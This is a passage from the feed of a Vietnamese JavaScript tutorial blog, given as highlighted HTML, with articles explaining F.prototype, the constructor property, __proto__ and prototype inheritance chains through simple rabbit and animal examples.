punctuation">}</span> f<span class="token punctuation">.</span><span class="token function">defer</span><span class="token punctuation">(</span><span class="token number">1000</span><span class="token punctuation">)</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// hiển thị 3 sau 1 giây</span></code></pre></div> </div> </div> </div> <p>Tham khảo: <a href="https://javascript.info/native-prototypes">Native prototypes</a></p>[email protected]<![CDATA[F.prototype - Prototype của hàm trong JavaScript]]><![CDATA[Trong bài viết về khởi tạo object với new trong JavaScript, bạn biết rằng một object có thể được tạo ra bằng cách sử dụng từ khóa new và hàm khởi tạo, ví dụ: Và đặc biệt, nếu F…]]>https://completejavascript.com/f-prototype-prototype-ham-trong-javascript/https://completejavascript.com/f-prototype-prototype-ham-trong-javascript/<![CDATA[Prototype]]><![CDATA[Hàm]]>Sun, 25 Jun 2017 20:00:00 GMT<p>Trong bài viết về <a href="/khoi-tao-object-new-trong-javascript/">khởi tạo object với new trong JavaScript</a>, bạn biết rằng một object có thể được tạo ra bằng cách sử dụng từ khóa <code>new</code> và hàm khởi tạo, ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> obj <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">F</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Và đặc biệt, nếu <code>F.prototype</code> là một object thì toán tử <code>new</code> sẽ sử dụng thuộc tính đó để gán cho <a href="/prototype-la-gi-prototype-trong-javascript/"><code>[[Prototype]]</code></a> của đối tượng mới.</p> <blockquote> <p><strong>Chú ý:</strong> với <code>F.prototype</code> thì <code>prototype</code> chính là <strong>tên của một thuộc tính</strong> trong <code>F</code>.</p> </blockquote> <p>Ví dụ về <code>F.prototype</code> như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> animal <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">eats</span><span class="token operator">:</span> <span class="token boolean">true</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">function</span> <span class="token function">Rabbit</span><span class="token punctuation">(</span><span class="token parameter">name</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>name <span class="token operator">=</span> name<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token class-name">Rabbit</span><span class="token punctuation">.</span>prototype <span class="token operator">=</span> animal<span class="token punctuation">;</span> <span class="token keyword">let</span> rabbit <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Rabbit</span><span class="token punctuation">(</span><span class="token string">"White Rabbit"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// rabbit.__proto__ == animal</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>rabbit<span class="token punctuation">.</span>eats<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span></code></pre></div> <p>Trong ví dụ trên, câu lệnh <code>Rabbit.prototype = animal</code> gán giá trị <code>animal</code> cho thuộc tính <code>prototype</code> trong hàm khởi tạo <code>Rabbit</code>.</p> <p>Điều này có ý nghĩa là: mỗi một đối tượng mới được tạo ra bởi <code>new Rabbit</code> thì đối tượng <code>animal</code> sẽ được gán cho <code>[[Prototype]]</code> của object.</p> <h2 id="đặc-điểm-của-fprototype" style="position:relative;"><a href="#%C4%91%E1%BA%B7c-%C4%91i%E1%BB%83m-c%E1%BB%A7a-fprototype" aria-label="đặc điểm của fprototype permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Đặc điểm của <code>F.prototype</code></h2> <p><code>F.prototype</code> chỉ được sử dụng <strong>tại thời điểm</strong> gọi <code>new F()</code>. Khi đó, giá trị <code>prototype</code> của hàm <code>F</code> sẽ được gán cho <code>[[Prototype]]</code> của object mới.</p> <p>Nếu <code>F.prototype</code> bị thay đổi giá trị thì <strong>đối tượng được tạo trước đó</strong> vẫn giữ nguyên giá trị <code>[[Prototype]]</code> cũ, ví dụ:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> animal <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">eats</span><span class="token operator">:</span> <span class="token boolean">true</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">function</span> <span class="token function">Rabbit</span><span class="token punctuation">(</span><span class="token parameter">name</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>name <span class="token operator">=</span> name<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token class-name">Rabbit</span><span class="token punctuation">.</span>prototype <span class="token operator">=</span> animal<span class="token punctuation">;</span> <span class="token keyword">let</span> rabbit <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Rabbit</span><span class="token punctuation">(</span><span class="token string">"White Rabbit"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// rabbit.__proto__ == animal</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>rabbit<span class="token punctuation">.</span>eats<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> <span class="gatsby-highlight-code-line"><span class="token comment">// Thay đổi giá trị của Rabbit.prototype</span></span><span class="gatsby-highlight-code-line"><span class="token class-name">Rabbit</span><span class="token punctuation">.</span>prototype <span class="token operator">=</span> <span class="token punctuation">{</span></span><span class="gatsby-highlight-code-line"> <span class="token literal-property property">legs</span><span class="token operator">:</span> <span class="token number">4</span><span class="token punctuation">,</span></span><span class="gatsby-highlight-code-line"><span class="token punctuation">}</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"></span><span class="gatsby-highlight-code-line"><span class="token comment">// prototype của đối tượng rabbit vẫn không đổi</span></span><span class="gatsby-highlight-code-line">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>rabbit<span class="token punctuation">.</span>eats<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span></span><span class="gatsby-highlight-code-line">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>rabbit<span class="token punctuation">.</span>legs<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// undefined</span></span></code></pre></div> <h2 id="giá-trị-mặc-định-của-prototype-trong-hàm" style="position:relative;"><a href="#gi%C3%A1-tr%E1%BB%8B-m%E1%BA%B7c-%C4%91%E1%BB%8Bnh-c%E1%BB%A7a-prototype-trong-h%C3%A0m" aria-label="giá trị mặc định của prototype trong hàm permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Giá trị mặc định của prototype trong hàm</h2> <p>Mỗi hàm trong JavaScript đều có thuộc tính <code>prototype</code> kể cả khi bạn không định nghĩa.</p> <p>Và giá trị mặc định của <code>prototype</code> là một object với <strong>một thuộc tính duy nhất</strong> <code>constructor</code> trỏ về chính <strong>hàm</strong> đó, ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">Rabbit</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span><span class="token punctuation">}</span> <span class="token comment">/* prototype mặc định Rabbit.prototype = { constructor: Rabbit }; */</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token class-name">Rabbit</span><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span>constructor <span class="token operator">===</span> Rabbit<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Vì giá trị của <code>Rabbit.prototype</code> sẽ được gán cho <code>[[Prototype]]</code> của mỗi object được tạo ra bởi việc gọi <code>new Rabbit()</code>, nên bạn có thể truy cập vào <code>constructor</code> từ mỗi đối tượng:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">Rabbit</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span><span class="token punctuation">}</span> <span class="token comment">// mặc định:</span> <span class="token comment">// Rabbit.prototype = { constructor: Rabbit }</span> <span class="token keyword">let</span> rabbit <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Rabbit</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// kế thừa prototype từ {constructor: Rabbit}</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>rabbit<span class="token punctuation">.</span>constructor <span class="token operator">===</span> Rabbit<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span></code></pre></div> <p>Và bạn có thể sử dụng giá trị <code>constructor</code> đó để khởi tạo đối tượng mới như sau:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">Rabbit</span><span class="token punctuation">(</span><span class="token parameter">name</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>name <span class="token operator">=</span> name<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">let</span> rabbit <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Rabbit</span><span class="token punctuation">(</span><span class="token string">"White Rabbit"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>rabbit<span class="token punctuation">.</span>name<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line"><span class="token keyword">let</span> rabbit2 <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">rabbit<span class="token punctuation">.</span>constructor</span><span class="token punctuation">(</span><span class="token string">"Black Rabbit"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>rabbit2<span class="token punctuation">.</span>name<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Tính năng này đặc biệt hữu ích khi bạn <strong>không biết hàm khởi tạo</strong> của một object (ví dụ đối tượng được tạo ra từ thư viện bên thứ 3).</p> <blockquote> <p><strong>Chú ý:</strong> JavaScript không đảm bảo giá trị chính xác cho <code>constructor</code>.</p> <p>Thực chất, <code>constructor</code> là thuộc tính mặc định của mỗi hàm. Nhưng giá trị của <code>constructor</code> thì hoàn toàn có thể thay đổi được.</p> </blockquote> <p>Ví dụ thay đổi giá trị của <code>prototype</code>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">Rabbit</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span><span class="token punctuation">}</span> <span class="token class-name">Rabbit</span><span class="token punctuation">.</span>prototype <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">jumps</span><span class="token operator">:</span> <span class="token boolean">true</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> rabbit <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Rabbit</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>rabbit<span class="token punctuation">.</span>constructor <span class="token operator">===</span> Rabbit<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span></code></pre></div> <p>Trong ví dụ trên, giá trị của <code>prototype</code> được gán bằng một object hoàn toàn mới và không chứa thuộc tính <code>constructor</code> nữa.</p> <p>Để giữa lại giá trị mặc định của <code>constructor</code>, bạn chỉ cần <strong>thêm/bớt</strong> thuộc tính, thay vì gán object mới hoàn toàn cho <code>prototype</code> như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">Rabbit</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span><span class="token punctuation">}</span> <span class="token comment">// thay vì ghi đè giá trị của prototype, bạn chỉ thêm thuộc tính mới</span> <span class="token class-name">Rabbit</span><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span>jumps <span class="token operator">=</span> <span class="token boolean">true</span><span class="token punctuation">;</span> <span class="token comment">// giá trị mặc định của Rabbit.prototype.constructor không đổi</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token class-name">Rabbit</span><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span>constructor <span class="token operator">===</span> Rabbit<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Hoặc chủ động gán lại giá trị cho thuộc tính <code>constructor</code>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token class-name">Rabbit</span><span class="token punctuation">.</span>prototype <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">jumps</span><span class="token operator">:</span> <span class="token boolean">true</span><span class="token punctuation">,</span> <span class="token literal-property property">constructor</span><span class="token operator">:</span> Rabbit<span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">// prototype được gán bằng object mới,</span> <span class="token comment">// nhưng constructor được tạo lại như mặc định</span></code></pre></div> <h2 id="tổng-kết" style="position:relative;"><a href="#t%E1%BB%95ng-k%E1%BA%BFt" aria-label="tổng kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tổng kết</h2> <p>Sau đây là những kiến thức cơ bản cần nhớ về prototype của hàm trong JavaScript <code>F.prototype</code>:</p> <ul> <li>Thuộc tính <code>F.prototype</code> là một thuộc tính mặc định của mỗi hàm trong JavaScript dùng để gán giá trị cho <code>[[Prototype]]</code> trong mỗi object tạo ra từ cách gọi <code>new F()</code>.</li> <li>Giá trị của <code>F.prototype</code> chỉ có thể là một object hoặc <code>null</code>, các giá trị khác bị bỏ qua.</li> <li>Thuộc tính <code>prototype</code> chỉ được dùng tại thời điểm gọi <code>new F()</code>.</li> </ul> <p>Trong đối tượng thông thường,<code>prototype</code> chỉ đơn giản là một thuộc tính mà không có ý nghĩa gì đặc biệt:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> user <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"Alex"</span><span class="token punctuation">,</span> <span class="token literal-property property">prototype</span><span class="token operator">:</span> <span class="token string">"abc"</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span></code></pre></div> <p>Mặc định, mỗi hàm đều có <code>F.prototype = { constructor: F }</code>. Vì vậy, bạn có thể truy cập đến hàm khởi tạo của mỗi object thông qua giá trị của thuộc tính <code>constructor</code>.</p> <p>Tham khảo: <a href="https://javascript.info/function-prototype">F.prototype</a></p>[email protected]<![CDATA[Prototype là gì? Prototype trong JavaScript]]><![CDATA[Khi lập trình, mọi người thường mong muốn có thể tái sử dụng code và mở rộng thêm các tính năng. Ví dụ, bạn có một đối tượng user với các thuộc tính và phương thức. Sau đó, bạn…]]>https://completejavascript.com/prototype-la-gi-prototype-trong-javascript/https://completejavascript.com/prototype-la-gi-prototype-trong-javascript/<![CDATA[Prototype]]>Sat, 24 Jun 2017 08:00:00 GMT<p>Khi lập trình, mọi người thường mong muốn có thể <strong>tái sử dụng code và mở rộng thêm các tính năng</strong>.</p> <p>Ví dụ, bạn có một đối tượng <code>user</code> với các thuộc tính và phương thức. Sau đó, bạn muốn tạo đối tượng mới là <code>admin</code> và <code>guest</code> dựa trên đối tượng <code>user</code>, nhưng không phải <strong>copy-paste</strong> lại code mà chỉ sử dụng lại những thứ mà <code>user</code> có, rồi tạo thêm thuộc tính hoặc phương thức mới.</p> <p>Để làm được điều đó, bạn có thể sử dụng <strong>prototype trong JavaScript</strong> để kế thừa lại object <code>user</code>. Vậy <strong>prototype là gì</strong> và cách sử dụng prototype như thế nào?</p> <h2 id="prototype-trong-javascript" style="position:relative;"><a href="#prototype-trong-javascript" aria-label="prototype trong javascript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Prototype trong JavaScript</h2> <p>JavaScript object có một thuộc tính đặc biệt là <code>[[Prototype]]</code> với giá trị có thể là <code>null</code> hoặc một <strong>object</strong>. Và object đó gọi là một <strong>prototype</strong>.</p> <p>Khi bạn truy cập vào một thuộc tính từ object, nếu thuộc tính đó không tồn tại thì JavaScript sẽ <strong>tự động tìm kiếm trong prototype</strong>. Trong lập trình, điều này gọi là <strong>kế thừa prototype</strong>.</p> <p><code>[[Prototype]]</code> là một <strong>thuộc tính ẩn</strong>, nhưng có nhiều cách để <strong>cài đặt thuộc tính này</strong>. Và một trong những cách phổ biến nhất là sử dụng <code>__proto__</code> như sau:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> animal <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">eats</span><span class="token operator">:</span> <span class="token boolean">true</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> rabbit <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">jumps</span><span class="token operator">:</span> <span class="token boolean">true</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line">rabbit<span class="token punctuation">.</span>__proto__ <span class="token operator">=</span> animal<span class="token punctuation">;</span> <span class="token comment">// gán rabbit.[[Prototype]] = animal</span></span></code></pre></div> <p>Nếu bạn đọc một thuộc tính trong <code>rabbit</code> và thuộc tính đó không tồn tại thì JavaScript sẽ tìm kiếm trong <code>animal</code>.</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> animal <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">eats</span><span class="token operator">:</span> <span class="token boolean">true</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> rabbit <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">jumps</span><span class="token operator">:</span> <span class="token boolean">true</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line">rabbit<span class="token punctuation">.</span>__proto__ <span class="token operator">=</span> animal<span class="token punctuation">;</span> <span class="token comment">// (*)</span></span> <span class="gatsby-highlight-code-line">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>rabbit<span class="token punctuation">.</span>eats<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true (**)</span></span><span class="gatsby-highlight-code-line">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>rabbit<span class="token punctuation">.</span>jumps<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span></span></code></pre></div> <p>Tại dòng <code>(*)</code>, đối tượng <code>animal</code> được gán làm prototype cho đối tượng <code>rabbit</code>.</p> <p>Khi đọc thuộc tính <code>rabbit.eats</code> tại <code>(**)</code>, thuộc tính <code>eats</code> không tồn tại trong <code>rabbit</code> nên JavaScript tìm kiếm trong <code>animal</code>. Dẫn đến kết quả là <code>true</code> như trên.</p> <p>Bạn có thể gọi <code>animal</code> là một prototype của <code>rabbit</code> hoặc <code>rabbit</code> kế thừa prototype từ <code>animal</code>.</p> <p>Khi đó, nếu <code>animal</code> có nhiều <strong>thuộc tính và phương thức hữu ích</strong> thì chúng cũng truy cập được từ <code>rabbit</code>. Đó chính là lợi ích của kế thừa trong lập trình.</p> <p>Ví dụ một phương thức trong <code>animal</code> có thể gọi từ <code>rabbit</code>:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> animal <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">eats</span><span class="token operator">:</span> <span class="token boolean">true</span><span class="token punctuation">,</span> <span class="gatsby-highlight-code-line"> <span class="token function">walk</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span><span class="gatsby-highlight-code-line"> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Animal walk"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"> <span class="token punctuation">}</span><span class="token punctuation">,</span></span><span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> rabbit <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">jumps</span><span class="token operator">:</span> <span class="token boolean">true</span><span class="token punctuation">,</span> <span class="token literal-property property">__proto__</span><span class="token operator">:</span> animal<span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">// phương thức walk() được lấy thông qua prototype</span> <span class="gatsby-highlight-code-line">rabbit<span class="token punctuation">.</span><span class="token function">walk</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Animal walk</span></span></code></pre></div> <p>Ngoài ra, prototype có thể <strong>kế thừa móc nối nhau</strong> qua nhiều object như sau:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> animal <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">eats</span><span class="token operator">:</span> <span class="token boolean">true</span><span class="token punctuation">,</span> <span class="token function">walk</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Animal walk"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> rabbit <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">jumps</span><span class="token operator">:</span> <span class="token boolean">true</span><span class="token punctuation">,</span> <span class="gatsby-highlight-code-line"> <span class="token literal-property property">__proto__</span><span class="token operator">:</span> animal<span class="token punctuation">,</span></span><span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> longEar <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">earLength</span><span class="token operator">:</span> <span class="token number">10</span><span class="token punctuation">,</span> <span class="gatsby-highlight-code-line"> <span class="token literal-property property">__proto__</span><span class="token operator">:</span> rabbit<span class="token punctuation">,</span></span><span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">// walk() được lấy thông qua các prototype móc nối nhau</span> longEar<span class="token punctuation">.</span><span class="token function">walk</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Animal walk</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>longEar<span class="token punctuation">.</span>jumps<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true (lấy từ rabbit)</span></code></pre></div> <p>Trong ví dụ trên, <code>animal</code> là prototype của <code>rabbit</code> và <code>rabbit</code> là prototype của <code>longEar</code>.</p> <p>Nếu bạn truy cập vào một thuộc tính hoặc phương thức trong <code>longEar</code> và chúng không tồn tại thì JavaScript sẽ tự động tìm kiếm ở <code>rabbit</code>, rồi đến <code>animal</code>.</p> <h2 id="giới-hạn-của-prototype-trong-javascript" style="position:relative;"><a href="#gi%E1%BB%9Bi-h%E1%BA%A1n-c%E1%BB%A7a-prototype-trong-javascript" aria-label="giới hạn của prototype trong javascript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Giới hạn của prototype trong JavaScript</h2> <p>Prototype trong JavaScript có một số giới hạn là:</p> <p>► <strong>Không được phép kế thừa prototype vòng tròn.</strong></p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> animal <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">eats</span><span class="token operator">:</span> <span class="token boolean">true</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> rabbit <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">jumps</span><span class="token operator">:</span> <span class="token boolean">true</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line"><span class="token comment">// gán animal là prototype của rabbit</span></span><span class="gatsby-highlight-code-line">rabbit<span class="token punctuation">.</span>__proto__ <span class="token operator">=</span> animal<span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"></span><span class="gatsby-highlight-code-line"><span class="token comment">// gán rabbit là prototype của animal</span></span><span class="gatsby-highlight-code-line">animal<span class="token punctuation">.</span>__proto__ <span class="token operator">=</span> rabbit<span class="token punctuation">;</span></span> <span class="token comment">// Lỗi: Cyclic __proto__ value</span></code></pre></div> <p>► <strong>Giá trị của <code>__proto__</code> có thể là <code>null</code> hoặc là một object, nhưng <a href="/kieu-du-lieu-trong-javascript/">các kiểu dữ liệu khác</a> đều bị bỏ qua.</strong></p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> rabbit <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">jumps</span><span class="token operator">:</span> <span class="token boolean">true</span><span class="token punctuation">,</span> <span class="gatsby-highlight-code-line"> <span class="token literal-property property">__proto__</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token comment">// bị bỏ qua</span></span><span class="token punctuation">}</span><span class="token punctuation">;</span></code></pre></div> <p>► <strong>Prototype không hỗ trợ thay đổi giá trị thuộc tính.</strong></p> <p>Prototype chỉ <strong>hỗ trợ việc đọc dữ liệu</strong>, còn việc <strong>thay đổi giá trị của thuộc tính</strong> hay <strong>xóa thuộc tính</strong> không được thực hiện trực tiếp prototype, ví dụ:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> animal 